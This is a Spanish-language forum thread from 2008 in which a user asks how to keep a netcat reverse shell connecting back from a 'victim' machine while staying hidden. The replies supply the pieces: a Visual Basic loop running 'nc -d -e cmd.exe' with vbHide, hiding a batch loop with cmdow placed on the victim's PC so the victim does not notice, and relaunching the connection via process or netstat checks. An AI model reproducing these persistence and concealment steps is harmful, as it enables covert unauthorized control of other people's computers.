Duda sobre un bucle para NetCat

Iniciado por _LooSeR_, 3 Marzo 2008, 21:52 PM

0 Miembros y 1 Visitante están viendo este tema.

_LooSeR_

Hola, bueno el caso es que estaba haciendo probatinas con el netcat. Y uno de los problemas al introducirlo en una maquina remota, es que si se cierra la conexión, no podemos volver a conectarnos hasta que no reinicie el equipo la victima. (Esto si tenemos la instruccion necesaria en el registro)

Asi que probé con un código en Batch, ya que ahi funciona a la perfeccion, creando un bucle, que haga que la victima se conecte a nosotros. Y como en un .bat, hasta que la instruccion no termine, no pasa a la siguiente, cuando conseguimos conectarnos la ejecucion del bucle queda interrumpida.

Pero el problema de esto es que aparece la ventanita de ms-dos, y aunque se puede con un "@echo off" hacer que no se vea nada, la venanita no se puede ocultar.

Así que pense en hacerla en VisualBasic con la propiedad del formulario Visible puesta en False, y poniendo este pequeño codigo:

Private Sub Form_Load()

bucle:
    Shell "nc -d -e cmd.exe -p 25554"
    GoTo bucle
   
End Sub


Claro esta, el problema es que tenemos un bucle infinito, ya que no para de ejecutar esta instrucción. Mi pregunta es si existe alguna forma de hacer que hasta que la conexion del netcat no haya terminado, no vuelva a ejecutarla.

Saludos! Gracias

naderST

esto tiene algo que ver con VB??? porque veo puro batch!

_LooSeR_

Sip, estoy buscando si existe una forma en visual basic de hacer que este bucle no vuelva a iterar hasta que la conexión con netcat haya terminado.

Lo primero es un ejemplo que puse en batch, pero tiene el problema de que te aparece el pantallon de MS-DOS en negro.

Por eso trataba de hacerlo bajo VB, saludos!

juancho77

A ver. tu quieres dejar un puerto a la escucha en la maquina remota o que? No se entiende de que es el bucle!

CitarMi pregunta es si existe alguna forma de hacer que hasta que la conexion del netcat no haya terminado, no vuelva a ejecutarla.

Tendria que hacer uso de un condicional, como If..Then o Do while...Loop.

Do until x= 10
  x=x+1
  Msgbox x
Loop


Si especificas mejor lo del netcat te puedo pasar algun coidog hecho mas preciso.
Y a esta linea le faltaria vbHide, poque sino se ejecutaria el simbolo de sistema igualmente visible.
Código:
Private Sub Form_Load()

bucle:
    Shell "nc -d -e cmd.exe -p 25554", vbHide
    GoTo bucle
   
End Sub

_LooSeR_

#4
En la instrucción faltaría mi IP (en vez del -p) antes del puerto, me confundí al escribirlo.

El bucle es para hacer que siempre que acabe la conexión vuelva a intentar conectar conmigo. Pero me temo que en vb seria complicado, lo explique en batch, porque el bucle si funciona ahi, hasta que esta linea:
nc -d -e cmd.exe MiIp 25554
no termine, no salta a la siguiente instruccion en el bucle del .bat, porque esa linea termina cuando la conexión del netcat ha sido finalizada (en vb si ejecutara ese programa externo, lo ejecutaria y saltaria a la siguiente linea de codigo sin que la ejecución del netcat hubiera terminado, realizando un bucle infinito sin esperar la desconexion del netcat).

El motivo por el que no usé un loop, un while o un until fue porque no queria que ese bucle terminase, pero si que se detuviera.

De todos modos, al final encontré una solucion que es un comando para el cmd, el "cmdow" que lo descargué de internet. Y colocandoselo a la victima, y añadiendo en el codigo del bucle batch  "cmdow @ /hid" , esconde la ventana donde se ejecuta el .bat

De modo que al final conseguí hacerlo sin visual basic, la unica pega es que debemos colocar el cmdow.exe en el pc de la victima, pero ahora ya puedo estar conectado a ella siempre que quiera, ya que ella siempre está intentando conectarse conmigo, y el bucle en batch lo realiza bastante lento, por lo cual no lo percibirá.

Muchas gracias, aunque me sigue interesando el tema en Vb.

Una duda Juancho77, en vb si ejecutara en vez de ese codigo, un archivo .bat
Y le pusiera vbHide despues, ocultaría la ventana de ejecución del archivo.bat?

Lo digo porque esto tambíen me hubiera servido para lanzar desde una aplicacion en vb el bucle hecho en batch. Sin necesidad de colocarle el "cmdow" a la victima.

Saludos!

cassiani

Cita de: _LooSeR_ en  4 Marzo 2008, 02:40 AM
en vb si ejecutara en vez de ese codigo, un archivo .bat Y le pusiera vbHide despues, ocultaría la ventana de ejecución del archivo.bat?

Efectivamente, prueba a hacerlo:

Shell "Tu_Bat.Bat", vbHide

NightZpy

Buscas en la lista de procesos y cuando ya no este el proceso que hace la conexión, lo relanzas....

O buscas en la lista que bota el netstat -nb, y luego revisas linea por linea si la conexión está activa...

Salu2s...

blackhacking.no-ip.org "Con Server para prácticas" - "La incompetencia en masas es inversamente proporcional al sistema social"

juancho77


_LooSeR_

Ok, duda resuelta muchas gracias ;)

Interesante lo que proponias NightZpy, pero eso ya supera mis conocimientos de Vb :P

Spider-Net

#9
Y no es más fácil llamar a netcat con el parámetro -L que deja a la escucha la máquina por mucho que cierres o abras la conexión??  :huh: :huh: :huh: